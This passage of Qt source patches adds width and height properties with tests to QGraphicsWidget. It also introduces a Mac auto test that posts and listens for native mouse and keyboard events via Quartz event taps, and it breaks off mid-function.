QGraphicsWidgetPrivate::setHeight(qreal h) +{ + if (qIsNaN(h)) + return; + Q_Q(QGraphicsWidget); + if (q->geometry().height() == h) + return; + + QRectF oldGeom = q->geometry(); + + q->setGeometry(QRectF(q->x(), q->y(), width(), h)); +} + +void QGraphicsWidgetPrivate::resetHeight() +{ + Q_Q(QGraphicsWidget); + q->setGeometry(QRectF(q->x(), q->y(), width(), 0)); +} + QT_END_NAMESPACE #endif //QT_NO_GRAPHICSVIEW diff --git a/src/gui/graphicsview/qgraphicswidget_p.h b/src/gui/graphicsview/qgraphicswidget_p.h index 2c5b3bf..f34a755 100644 --- a/src/gui/graphicsview/qgraphicswidget_p.h +++ b/src/gui/graphicsview/qgraphicswidget_p.h @@ -130,6 +130,15 @@ public: void windowFrameHoverLeaveEvent(QGraphicsSceneHoverEvent *event); bool hasDecoration() const; + // Private Properties + qreal width() const; + void setWidth(qreal); + void resetWidth(); + + qreal height() const; + void setHeight(qreal); + void resetHeight(); + // State inline int attributeToBitIndex(Qt::WidgetAttribute att) const { diff --git a/tests/auto/qgraphicswidget/tst_qgraphicswidget.cpp b/tests/auto/qgraphicswidget/tst_qgraphicswidget.cpp index 0d1ad9e..5a3a54c 100644 --- a/tests/auto/qgraphicswidget/tst_qgraphicswidget.cpp +++ b/tests/auto/qgraphicswidget/tst_qgraphicswidget.cpp @@ -111,6 +111,8 @@ private slots: void fontPropagationSceneChange(); void geometry_data(); void geometry(); + void width(); + void height(); void getContentsMargins_data(); void getContentsMargins(); void initStyleOption_data(); @@ -775,6 +777,32 @@ void tst_QGraphicsWidget::geometry() QCOMPARE(widget.geometry(), QRectF(pos, size)); } +void tst_QGraphicsWidget::width() +{ + QGraphicsWidget w; + QCOMPARE(w.property("width").toReal(), qreal(0)); + QSignalSpy spy(&w, SIGNAL(widthChanged())); + w.setProperty("width", qreal(50)); + QCOMPARE(w.property("width").toReal(), qreal(50)); + QCOMPARE(spy.count(), 1); + //calling old school setGeometry should work too + w.setGeometry(0, 0, 200, 200); + QCOMPARE(spy.count(), 2); +} + +void tst_QGraphicsWidget::height() +{ + QGraphicsWidget w; + QCOMPARE(w.property("height").toReal(), qreal(0)); + QSignalSpy spy(&w, SIGNAL(heightChanged())); + w.setProperty("height", qreal(50)); + QCOMPARE(w.property("height").toReal(), qreal(50)); + QCOMPARE(spy.count(), 1); + //calling old school setGeometry should work too + w.setGeometry(0, 0, 200, 200); + QCOMPARE(spy.count(), 2); +} + void tst_QGraphicsWidget::getContentsMargins_data() { QTest::addColumn("left"); -- cgit v0.12 From e6bb8a4971b5d48190f9b8e6105926fcd1c47bda Mon Sep 17 00:00:00 2001 From: Richard Moe Gustavsen Date: Tue, 23 Mar 2010 15:37:20 +0100 Subject: Mac: new auto test: macnativeevents This test will utilize the new API I wrote back in the days for posting/listening for native mouse and keyboard events on mac. By being able to create low-level native events that you can post to the window server, we can write tests that not only test the widgets layer of Qt, but also the platform dependent code that translates native events into Qt events. Reviewed-by: msorvig --- tests/auto/macnativeevents/qnativeinput.cpp | 378 ++++++++++++++++++++ tests/auto/macnativeevents/qnativeinput.h | 228 ++++++++++++ tests/auto/macnativeevents/qnativeinput_mac.cpp | 382 +++++++++++++++++++++ tests/auto/macnativeevents/qnativeplayer.cpp | 139 ++++++++ tests/auto/macnativeevents/qnativeplayer.h | 92 +++++ tests/auto/macnativeevents/tst_macnativeevents.cpp | 81 +++++ tests/auto/macnativeevents/tst_macnativeevents.pro | 16 + tests/auto/other.pro | 1 + 8 files changed, 1317 insertions(+) create mode 100644 tests/auto/macnativeevents/qnativeinput.cpp create mode 100644 tests/auto/macnativeevents/qnativeinput.h create mode 100644 tests/auto/macnativeevents/qnativeinput_mac.cpp create mode 100644 tests/auto/macnativeevents/qnativeplayer.cpp create mode 100644 tests/auto/macnativeevents/qnativeplayer.h create mode 100644 tests/auto/macnativeevents/tst_macnativeevents.cpp create mode 100644 tests/auto/macnativeevents/tst_macnativeevents.pro diff --git a/tests/auto/macnativeevents/qnativeinput.cpp b/tests/auto/macnativeevents/qnativeinput.cpp new file mode 100644 index 0000000..c9462a6 --- /dev/null +++ b/tests/auto/macnativeevents/qnativeinput.cpp @@ -0,0 +1,378 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the test suite of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include "qnativeinput.h" + +QNativeInput::QNativeInput(bool subscribe) +{ + if (subscribe) + subscribeForNativeEvents(); +} + +QNativeInput::~QNativeInput() +{ + unsubscribeForNativeEvents(); +} + +void QNativeInput::notify(QNativeEvent *event) +{ + nativeEvent(event); +} + +void QNativeInput::nativeEvent(QNativeEvent *event) +{ + switch (event->id()){ + case QNativeMouseButtonEvent::eventId:{ + QNativeMouseButtonEvent *e = static_cast(event); + (e->clickCount > 0) ? nativeMousePressEvent(e) : nativeMouseReleaseEvent(e); + break; } + case QNativeMouseMoveEvent::eventId: + nativeMouseMoveEvent(static_cast(event)); + break; + case QNativeMouseDragEvent::eventId: + nativeMouseDragEvent(static_cast(event)); + break; + case QNativeMouseWheelEvent::eventId: + nativeMouseWheelEvent(static_cast(event)); + break; + case QNativeKeyEvent::eventId:{ + QNativeKeyEvent *e = static_cast(event); + e->press ? nativeKeyPressEvent(e) : nativeKeyReleaseEvent(e); + break; } + case QNativeModifierEvent::eventId: + nativeModifierEvent(static_cast(event)); + break; + default: + break; + } +} + +Qt::Native::Status QNativeInput::sendNativeEvent(const QNativeEvent &event, int pid) +{ + switch (event.id()){ + case QNativeMouseMoveEvent::eventId: + return sendNativeMouseMoveEvent(static_cast(event)); + case QNativeMouseButtonEvent::eventId: + return sendNativeMouseButtonEvent(static_cast(event)); + case QNativeMouseDragEvent::eventId: + return sendNativeMouseDragEvent(static_cast(event)); + case QNativeMouseWheelEvent::eventId: + return sendNativeMouseWheelEvent(static_cast(event)); + case QNativeKeyEvent::eventId: + return sendNativeKeyEvent(static_cast(event), pid); + case QNativeModifierEvent::eventId: + return sendNativeModifierEvent(static_cast(event)); + case QNativeEvent::eventId: + qWarning() << "Warning: Cannot send a pure native event. Use a sub class."; + default: + return Qt::Native::Failure; + } +} + +QNativeEvent::QNativeEvent(Qt::KeyboardModifiers modifiers) + : modifiers(modifiers){} + +QNativeMouseEvent::QNativeMouseEvent(QPoint pos, Qt::KeyboardModifiers modifiers) + : QNativeEvent(modifiers), globalPos(pos){} + +QNativeMouseMoveEvent::QNativeMouseMoveEvent(QPoint pos, Qt::KeyboardModifiers modifiers) + : QNativeMouseEvent(pos, modifiers){} + +QNativeMouseButtonEvent::QNativeMouseButtonEvent(QPoint globalPos, Qt::MouseButton button, int clickCount, Qt::KeyboardModifiers modifiers) + : QNativeMouseEvent(globalPos, modifiers), button(button), clickCount(clickCount){} + +QNativeMouseDragEvent::QNativeMouseDragEvent(QPoint globalPos, Qt::MouseButton button, Qt::KeyboardModifiers modifiers) + : QNativeMouseButtonEvent(globalPos, button, true, modifiers){} + +QNativeMouseWheelEvent::QNativeMouseWheelEvent(QPoint globalPos, int delta, Qt::KeyboardModifiers modifiers) + : QNativeMouseEvent(globalPos, modifiers), delta(delta){} + +QNativeKeyEvent::QNativeKeyEvent(int nativeKeyCode, bool press, Qt::KeyboardModifiers modifiers) + : QNativeEvent(modifiers), nativeKeyCode(nativeKeyCode), press(press), character(QChar()){} + +QNativeModifierEvent::QNativeModifierEvent(Qt::KeyboardModifiers modifiers, int nativeKeyCode) + : QNativeEvent(modifiers), nativeKeyCode(nativeKeyCode){} + +QNativeKeyEvent::QNativeKeyEvent(int nativeKeyCode, bool press, QChar character, Qt::KeyboardModifiers modifiers) + : QNativeEvent(modifiers), nativeKeyCode(nativeKeyCode), press(press), character(character){} + +static QString getButtonAsString(const QNativeMouseButtonEvent *e) +{ + switch (e->button){ + case Qt::LeftButton: + return "button = LeftButton"; + break; + case Qt::RightButton: + return "button = RightButton"; + break; + case Qt::MidButton: + return "button = MidButton"; + break; + default: + return "button = Other"; + break; + } +} + +static QString getModifiersAsString(const QNativeEvent *e) +{ + if (e->modifiers == 0) + return "modifiers = none"; + + QString tmp = "modifiers = "; + if (e->modifiers.testFlag(Qt::ShiftModifier)) + tmp += "Shift"; + if (e->modifiers.testFlag(Qt::ControlModifier)) + tmp += "Control"; + if (e->modifiers.testFlag(Qt::AltModifier)) + tmp += "Alt"; + if (e->modifiers.testFlag(Qt::MetaModifier)) + tmp += "Meta"; + return tmp; +} + +static QString getPosAsString(QPoint pos) +{ + return QString("QPoint(%1, %2)").arg(pos.x()).arg(pos.y()); +} + +static QString getBoolAsString(bool b) +{ + return b ? QString("true") : QString("false"); +} + +QString QNativeMouseMoveEvent::toString() const +{ + return QString("QNativeMouseMoveEvent(globalPos = %1 %2)").arg(getPosAsString(globalPos)) + .arg(getModifiersAsString(this)); +} + +QString QNativeMouseButtonEvent::toString() const +{ + return QString("QNativeMouseButtonEvent(globalPos = %1, %2, clickCount = %3, %4)").arg(getPosAsString(globalPos)) + .arg(getButtonAsString(this)).arg(clickCount).arg(getModifiersAsString(this)); +} + +QString QNativeMouseDragEvent::toString() const +{ + return QString("QNativeMouseDragEvent(globalPos = %1, %2, clickCount = %3, %4)").arg(getPosAsString(globalPos)) + .arg(getButtonAsString(this)).arg(clickCount).arg(getModifiersAsString(this)); +} + +QString QNativeMouseWheelEvent::toString() const +{ + return QString("QNativeMouseWheelEvent(globalPos = %1, delta = %2, %3)").arg(getPosAsString(globalPos)) + .arg(delta).arg(getModifiersAsString(this)); +} + +QString QNativeKeyEvent::toString() const +{ + return QString("QNativeKeyEvent(press = %1, native key code = %2, character = %3, %4)").arg(getBoolAsString(press)) + .arg(nativeKeyCode).arg(character.isPrint() ? character : QString("")) + .arg(getModifiersAsString(this)); +} + +QString QNativeModifierEvent::toString() const +{ + return QString("QNativeModifierEvent(%1, native key code = %2)").arg(getModifiersAsString(this)) + .arg(nativeKeyCode); +} + +QDebug operator<<(QDebug d, QNativeEvent *e) +{ + Q_UNUSED(e); + return d << e->toString(); +} + +QDebug operator<<(QDebug d, const QNativeEvent &e) +{ + Q_UNUSED(e); + return d << e.toString(); +} + +QTextStream &operator<<(QTextStream &s, QNativeEvent *e) +{ + return s << e->eventId << " " << e->modifiers << " QNativeEvent"; +} + +QTextStream &operator<<(QTextStream &s, QNativeMouseEvent *e) +{ + return s << e->eventId << " " << e->globalPos.x() << " " << e->globalPos.y() << " " << e->modifiers << " " << e->toString(); +} + +QTextStream &operator<<(QTextStream &s, QNativeMouseMoveEvent *e) +{ + return s << e->eventId << " " << e->globalPos.x() << " " << e->globalPos.y() << " " << e->modifiers << " " << e->toString(); +} + +QTextStream &operator<<(QTextStream &s, QNativeMouseButtonEvent *e) +{ + return s << e->eventId << " " << e->globalPos.x() << " " << e->globalPos.y() << " " << e->button + << " " << e->clickCount << " " << e->modifiers << " " << e->toString(); +} + +QTextStream &operator<<(QTextStream &s, QNativeMouseDragEvent *e) +{ + return s << e->eventId << " " << e->globalPos.x() << " " << e->globalPos.y() << " " << e->button << " " << e->clickCount + << " " << e->modifiers << " " << e->toString(); +} + +QTextStream &operator<<(QTextStream &s, QNativeMouseWheelEvent *e) +{ + return s << e->eventId << " " << e->globalPos.x() << " " << e->globalPos.y() << " " << e->delta + << " " << e->modifiers << " " << e->toString(); +} + +QTextStream &operator<<(QTextStream &s, QNativeKeyEvent *e) +{ + return s << e->eventId << " " << e->press << " " << e->nativeKeyCode << " " << e->character + << " " << e->modifiers << " " << e->toString(); +} + +QTextStream &operator<<(QTextStream &s, QNativeModifierEvent *e) +{ + return s << e->eventId << " " << e->modifiers << " " << e->nativeKeyCode << " " << e->toString(); +} + + + + +QTextStream &operator>>(QTextStream &s, QNativeMouseMoveEvent *e) +{ + // Skip reading eventId. + QString humanReadable; + int x, y, modifiers; + s >> x >> y >> modifiers >> humanReadable; + e->globalPos.setX(x); + e->globalPos.setY(y); + e->modifiers = Qt::KeyboardModifiers(modifiers); + return s; +} + +QTextStream &operator>>(QTextStream &s, QNativeMouseButtonEvent *e) +{ + // Skip reading eventId. + QString humanReadable; + int x, y, button, clickCount, modifiers; + s >> x >> y >> button >> clickCount >> modifiers >> humanReadable; + e->globalPos.setX(x); + e->globalPos.setY(y); + e->clickCount = clickCount; + e->modifiers = Qt::KeyboardModifiers(modifiers); + switch (button){ + case 1: + e->button = Qt::LeftButton; + break; + case 2: + e->button = Qt::RightButton; + break; + case 3: + e->button = Qt::MidButton; + break; + default: + e->button = Qt::NoButton; + break; + } + return s; +} + +QTextStream &operator>>(QTextStream &s, QNativeMouseDragEvent *e) +{ + // Skip reading eventId. + QString humanReadable; + int x, y, button, clickCount, modifiers; + s >> x >> y >> button >> clickCount >> modifiers >> humanReadable; + e->globalPos.setX(x); + e->globalPos.setY(y); + e->clickCount = clickCount; + e->modifiers = Qt::KeyboardModifiers(modifiers); + switch (button){ + case 1: + e->button = Qt::LeftButton; + break; + case 2: + e->button = Qt::RightButton; + break; + case 3: + e->button = Qt::MidButton; + break; + default: + e->button = Qt::NoButton; + break; + } + return s; +} + +QTextStream &operator>>(QTextStream &s, QNativeMouseWheelEvent *e) +{ + // Skip reading eventId. + QString humanReadable; + int x, y, modifiers; + s >> x >> y >> e->delta >> modifiers >> humanReadable; + e->globalPos.setX(x); + e->globalPos.setY(y); + e->modifiers = Qt::KeyboardModifiers(modifiers); + return s; +} + +QTextStream &operator>>(QTextStream &s, QNativeKeyEvent *e) +{ + // Skip reading eventId. + QString humanReadable; + int press, modifiers; + QString character; + s >> press >> e->nativeKeyCode >> character >> modifiers >> humanReadable; + e->press = bool(press); + e->character = character[0]; + e->modifiers = Qt::KeyboardModifiers(modifiers); + return s; +} + +QTextStream &operator>>(QTextStream &s, QNativeModifierEvent *e) +{ + // Skip reading eventId. + QString humanReadable; + int modifiers; + s >> modifiers >> e->nativeKeyCode >> humanReadable; + e->modifiers = Qt::KeyboardModifiers(modifiers); + return s; +} + diff --git a/tests/auto/macnativeevents/qnativeinput.h b/tests/auto/macnativeevents/qnativeinput.h new file mode 100644 index 0000000..a98e4e4 --- /dev/null +++ b/tests/auto/macnativeevents/qnativeinput.h @@ -0,0 +1,228 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the test suite of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#ifndef Q_NATIVE_INPUT +#define Q_NATIVE_INPUT + +#include + +namespace Qt { +namespace Native { + enum Status {Success, Failure}; +}} + +// ---------------------------------------------------------------------------- +// Declare a set of native events that can be used to communicate with +// client applications in an platform independent way +// ---------------------------------------------------------------------------- + +class QNativeEvent +{ +public: + static const int eventId = 1; + + QNativeEvent(Qt::KeyboardModifiers modifiers = Qt::NoModifier); + virtual ~QNativeEvent(){}; + virtual int id() const { return eventId; }; + virtual QString toString() const = 0; + Qt::KeyboardModifiers modifiers; // Yields for mouse events too. +}; + +class QNativeMouseEvent : public QNativeEvent { +public: + static const int eventId = 2; + + QNativeMouseEvent(){}; + QNativeMouseEvent(QPoint globalPos, Qt::KeyboardModifiers modifiers = Qt::NoModifier); + virtual ~QNativeMouseEvent(){}; + virtual int id() const { return eventId; }; + + QPoint globalPos; +}; + +class QNativeMouseMoveEvent : public QNativeMouseEvent { +public: + static const int eventId = 4; + + QNativeMouseMoveEvent(){}; + QNativeMouseMoveEvent(QPoint globalPos, Qt::KeyboardModifiers modifiers = Qt::NoModifier); + virtual ~QNativeMouseMoveEvent(){}; + virtual int id() const { return eventId; }; + virtual QString toString() const; +}; + +class QNativeMouseButtonEvent : public QNativeMouseEvent { +public: + static const int eventId = 8; + + QNativeMouseButtonEvent(){}; + QNativeMouseButtonEvent(QPoint globalPos, Qt::MouseButton button, int clickCount, Qt::KeyboardModifiers modifiers = Qt::NoModifier); + virtual ~QNativeMouseButtonEvent(){}; + virtual int id() const { return eventId; }; + virtual QString toString() const; + + Qt::MouseButton button; + int clickCount; +}; + +class QNativeMouseDragEvent : public QNativeMouseButtonEvent { +public: + static const int eventId = 16; + + QNativeMouseDragEvent(){}; + QNativeMouseDragEvent(QPoint globalPos, Qt::MouseButton button, Qt::KeyboardModifiers modifiers = Qt::NoModifier); + virtual ~QNativeMouseDragEvent(){}; + virtual int id() const { return eventId; }; + virtual QString toString() const; +}; + +class QNativeMouseWheelEvent : public QNativeMouseEvent { +public: + static const int eventId = 32; + + QNativeMouseWheelEvent(){}; + QNativeMouseWheelEvent(QPoint globalPos, int delta, Qt::KeyboardModifiers modifiers = Qt::NoModifier); + virtual ~QNativeMouseWheelEvent(){}; + virtual int id() const { return eventId; }; + virtual QString toString() const; + + int delta; +}; + +class QNativeKeyEvent : public QNativeEvent { + public: + static const int eventId = 64; + + QNativeKeyEvent(){}; + QNativeKeyEvent(int nativeKeyCode, bool press, Qt::KeyboardModifiers modifiers = Qt::NoModifier); + QNativeKeyEvent(int nativeKeyCode, bool press, QChar character, Qt::KeyboardModifiers modifiers); + virtual ~QNativeKeyEvent(){}; + virtual int id() const { return eventId; }; + virtual QString toString() const; + + int nativeKeyCode; + bool press; + QChar character; + + // Some Qt to Native mappings: + static int Key_A; + static int Key_B; + static int Key_C; + static int Key_1; + static int Key_Backspace; + static int Key_Enter; + static int Key_Del; +}; + +class QNativeModifierEvent : public QNativeEvent { +public: + static const int eventId = 128; + + QNativeModifierEvent(Qt::KeyboardModifiers modifiers = Qt::NoModifier, int nativeKeyCode = 0); + virtual ~QNativeModifierEvent(){}; + virtual int id() const { return eventId; }; + virtual QString toString() const; + + int nativeKeyCode; +}; + +// ---------------------------------------------------------------------------- +// Declare a set of related output / input functions for convenience: +// ---------------------------------------------------------------------------- + +QDebug operator<<(QDebug d, QNativeEvent *e); +QDebug operator<<(QDebug d, const QNativeEvent &e); + +QTextStream &operator<<(QTextStream &s, QNativeEvent *e); +QTextStream &operator<<(QTextStream &s, QNativeMouseEvent *e); +QTextStream &operator<<(QTextStream &s, QNativeMouseMoveEvent *e); +QTextStream &operator<<(QTextStream &s, QNativeMouseButtonEvent *e); +QTextStream &operator<<(QTextStream &s, QNativeMouseDragEvent *e); +QTextStream &operator<<(QTextStream &s, QNativeMouseWheelEvent *e); +QTextStream &operator<<(QTextStream &s, QNativeKeyEvent *e); +QTextStream &operator<<(QTextStream &s, QNativeModifierEvent *e); + +QTextStream &operator>>(QTextStream &s, QNativeMouseMoveEvent *e); +QTextStream &operator>>(QTextStream &s, QNativeMouseButtonEvent *e); +QTextStream &operator>>(QTextStream &s, QNativeMouseDragEvent *e); +QTextStream &operator>>(QTextStream &s, QNativeMouseWheelEvent *e); +QTextStream &operator>>(QTextStream &s, QNativeKeyEvent *e); +QTextStream &operator>>(QTextStream &s, QNativeModifierEvent *e); + +// ---------------------------------------------------------------------------- +// Declare the main class that is supposed to be sub-classed by components +// that are to receive native events +// ---------------------------------------------------------------------------- + +class QNativeInput +{ + public: + QNativeInput(bool subscribe = true); + virtual ~QNativeInput(); + + // Callback methods. Should be implemented by interested sub-classes: + void notify(QNativeEvent *event); + virtual void nativeEvent(QNativeEvent *event); + virtual void nativeMousePressEvent(QNativeMouseButtonEvent *){}; + virtual void nativeMouseReleaseEvent(QNativeMouseButtonEvent *){}; + virtual void nativeMouseMoveEvent(QNativeMouseMoveEvent *){}; + virtual void nativeMouseDragEvent(QNativeMouseDragEvent *){}; + virtual void nativeMouseWheelEvent(QNativeMouseWheelEvent *){}; + virtual void nativeKeyPressEvent(QNativeKeyEvent *){}; + virtual void nativeKeyReleaseEvent(QNativeKeyEvent *){}; + virtual void nativeModifierEvent(QNativeModifierEvent *){}; + + // The following methods will differ in implementation from OS to OS: + static Qt::Native::Status sendNativeMouseButtonEvent(const QNativeMouseButtonEvent &event); + static Qt::Native::Status sendNativeMouseMoveEvent(const QNativeMouseMoveEvent &event); + static Qt::Native::Status sendNativeMouseDragEvent(const QNativeMouseDragEvent &event); + static Qt::Native::Status sendNativeMouseWheelEvent(const QNativeMouseWheelEvent &event); + static Qt::Native::Status sendNativeKeyEvent(const QNativeKeyEvent &event, int pid = 0); + static Qt::Native::Status sendNativeModifierEvent(const QNativeModifierEvent &event); + // sendNativeEvent will NOT differ from OS to OS. + static Qt::Native::Status sendNativeEvent(const QNativeEvent &event, int pid = 0); + + // The following methods will differ in implementation from OS to OS: + Qt::Native::Status subscribeForNativeEvents(); + Qt::Native::Status unsubscribeForNativeEvents(); +}; + +#endif // Q_NATIVE_INPUT diff --git a/tests/auto/macnativeevents/qnativeinput_mac.cpp b/tests/auto/macnativeevents/qnativeinput_mac.cpp new file mode 100644 index 0000000..143a633 --- /dev/null +++ b/tests/auto/macnativeevents/qnativeinput_mac.cpp @@ -0,0 +1,382 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the test suite of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:LGPL$ +** No Commercial Usage +** This file contains pre-release code and may not be distributed. +** You may use this file in accordance with the terms and conditions +** contained in the Technology Preview License Agreement accompanying +** this package. +** +** GNU Lesser General Public License Usage +** Alternatively, this file may be used under the terms of the GNU Lesser +** General Public License version 2.1 as published by the Free Software +** Foundation and appearing in the file LICENSE.LGPL included in the +** packaging of this file. Please review the following information to +** ensure the GNU Lesser General Public License version 2.1 requirements +** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. +** +** In addition, as a special exception, Nokia gives you certain additional +** rights. These rights are described in the Nokia Qt LGPL Exception +** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. +** +** If you have questions regarding the use of this file, please contact +** Nokia at qt-info@nokia.com. +** +** +** +** +** +** +** +** +** $QT_END_LICENSE$ +** +****************************************************************************/ + +#include "qnativeinput.h" +#include +#include + +// ************************************************************ +// Quartz +// ************************************************************ + +static Qt::KeyboardModifiers getModifiersFromQuartzEvent(CGEventRef inEvent) +{ + Qt::KeyboardModifiers m; + CGEventFlags flags = CGEventGetFlags(inEvent); + if (flags & kCGEventFlagMaskShift || flags & kCGEventFlagMaskAlphaShift) + m |= Qt::ShiftModifier; + if (flags & kCGEventFlagMaskControl) + m |= Qt::MetaModifier; + if (flags & kCGEventFlagMaskAlternate) + m |= Qt::AltModifier; + if (flags & kCGEventFlagMaskCommand) + m |= Qt::ControlModifier; + return m; +} + +static void setModifiersFromQNativeEvent(CGEventRef inEvent, const QNativeEvent &event) +{ + CGEventFlags flags = 0; + if (event.modifiers.testFlag(Qt::ShiftModifier)) + flags |= kCGEventFlagMaskShift; + if (event.modifiers.testFlag(Qt::MetaModifier)) + flags |= kCGEventFlagMaskControl; + if (event.modifiers.testFlag(Qt::AltModifier)) + flags |= kCGEventFlagMaskAlternate; + if (event.modifiers.testFlag(Qt::ControlModifier)) + flags |= kCGEventFlagMaskCommand; + CGEventSetFlags(inEvent, flags); +} + +static QPoint getMouseLocationFromQuartzEvent(CGEventRef inEvent) +{ + CGPoint pos = CGEventGetLocation(inEvent); + QPoint tmp; + tmp.setX(pos.x); + tmp.setY(pos.y); + return tmp; +} + +static QChar getCharFromQuartzEvent(CGEventRef inEvent) +{ + UniCharCount count = 0; + UniChar c; + CGEventKeyboardGetUnicodeString(inEvent, 1, &count, &c); + return QChar(c); +} + +static CGEventRef EventHandler_Quartz(CGEventTapProxy proxy, CGEventType type, CGEventRef inEvent, void *refCon) +{ + Q_UNUSED(proxy); + QNativeInput *nativeInput = static_cast(refCon); + switch (type){ + case kCGEventKeyDown:{ + QNativeKeyEvent e; + e.modifiers = getModifiersFromQuartzEvent(inEvent); + e.nativeKeyCode = CGEventGetIntegerValueField(inEvent, kCGKeyboardEventKeycode); + e.character = getCharFromQuartzEvent(inEvent); + e.press = true; + nativeInput->notify(&e); + break; + } + case kCGEventKeyUp:{ + QNativeKeyEvent e; + e.modifiers = getModifiersFromQuartzEvent(inEvent); + e.nativeKeyCode = CGEventGetIntegerValueField(inEvent, kCGKeyboardEventKeycode); + e.character = getCharFromQuartzEvent(inEvent); + e.press = false; + nativeInput->notify(&e); + break; + } + case kCGEventLeftMouseDown:{ + QNativeMouseButtonEvent e; + e.modifiers = getModifiersFromQuartzEvent(inEvent); + e.globalPos = getMouseLocationFromQuartzEvent(inEvent); + e.clickCount = CGEventGetIntegerValueField(inEvent, kCGMouseEventClickState); + e.button = Qt::LeftButton; + nativeInput->notify(&e); + break; + } + case kCGEventLeftMouseUp:{ + QNativeMouseButtonEvent e; + e.modifiers = getModifiersFromQuartzEvent(inEvent); + e.globalPos = getMouseLocationFromQuartzEvent(inEvent); + e.clickCount = 0; + e.button = Qt::LeftButton; + nativeInput->notify(&e); + break; + } + case kCGEventRightMouseDown:{ + QNativeMouseButtonEvent e; + e.modifiers = getModifiersFromQuartzEvent(inEvent); + e.globalPos = getMouseLocationFromQuartzEvent(inEvent); + e.clickCount = CGEventGetIntegerValueField(inEvent, kCGMouseEventClickState); + e.button = Qt::RightButton; + nativeInput->notify(&e); + break; + } + case kCGEventRightMouseUp:{ + QNativeMouseButtonEvent e; + e.modifiers = getModifiersFromQuartzEvent(inEvent); + e.globalPos = getMouseLocationFromQuartzEvent(inEvent); + e.clickCount = 0; + e.button = Qt::RightButton; + nativeInput->notify(&e); + break; + } + case kCGEventMouseMoved:{ + QNativeMouseMoveEvent e; + e.modifiers = getModifiersFromQuartzEvent(inEvent); + e.globalPos = getMouseLocationFromQuartzEvent(inEvent); + nativeInput->notify(&e); + break; + } + case kCGEventLeftMouseDragged:{ + QNativeMouseDragEvent e; + e.modifiers = getModifiersFromQuartzEvent(inEvent); + e.globalPos = getMouseLocationFromQuartzEvent(inEvent); + e.clickCount = CGEventGetIntegerValueField(inEvent, kCGMouseEventClickState); + e.button = Qt::LeftButton; + nativeInput->notify(&e); + break; + } + case kCGEventScrollWheel:{ + QNativeMouseWheelEvent e; + e.modifiers = getModifiersFromQuartzEvent(inEvent); + e.delta = CGEventGetIntegerValueField(inEvent, kCGScrollWheelEventDeltaAxis1); + e.globalPos = getMouseLocationFromQuartzEvent(inEvent); + nativeInput->notify(&e); + break; + } + case kCGEventFlagsChanged:{ + QNativeModifierEvent e; + e.modifiers = getModifiersFromQuartzEvent(inEvent); + e.nativeKeyCode = CGEventGetIntegerValueField(inEvent, kCGKeyboardEventKeycode); + nativeInput->notify(&e); + break; + } + + } + + return inEvent; +} + +Qt::Native::Status insertEventHandler_Quartz(QNativeInput *nativeInput, int pid = 0) +{ + uid_t uid = geteuid(); + if (uid != 0) + qWarning("MacNativeEvents: You must be root to listen for key events!"); + + CFMachPortRef port; + if (!pid){ + port = CGEventTapCreate(kCGHIDEventTap, + kCGHeadInsertEventTap, kCGEventTapOptionListenOnly, + kCGEventMaskForAllEvents, EventHandler_Quartz, nativeInput); + } else { + ProcessSerialNumber psn; + GetProcessForPID(pid, &psn); + port = CGEventTapCreateForPSN(&psn, + kCGHeadInsertEventTap, kCGEventTapOptionListenOnly, + kCGEventMaskForAllEvents, EventHandler_Quartz, nativeInput); + } + + CFRunLoopSourceRef eventSrc = CFMachPortCreateRunLoopSource(NULL, port, 0); + CFRunLoopAddSource((CFRunLoopRef) GetCFRunLoopFromEventLoop(GetMainEventLoop()), + eventSrc, kCFRunLoopCommonModes); + + return Qt::Native::Success; +} + +Qt::Native::Status removeEventHandler_Quartz() +{ + return Qt::Native::Success; // ToDo: +} + +Qt::Native::Status sendNativeKeyEventToProcess_Quartz(const QNativeKeyEvent &event, int pid) +{ + ProcessSerialNumber psn; + GetProcessForPID(pid, &psn); + + CGEventRef e = CGEventCreateKeyboardEvent(0, (uint)event.nativeKeyCode, event.press); + setModifiersFromQNativeEvent(e, event); + SetFrontProcess(&psn); + CGEventPostToPSN(&psn, e); + CFRelease(e); + return Qt::Native::Success; +} + +Qt::Native::Status sendNativeKeyEvent_Quartz(const QNativeKeyEvent &event) +{ + 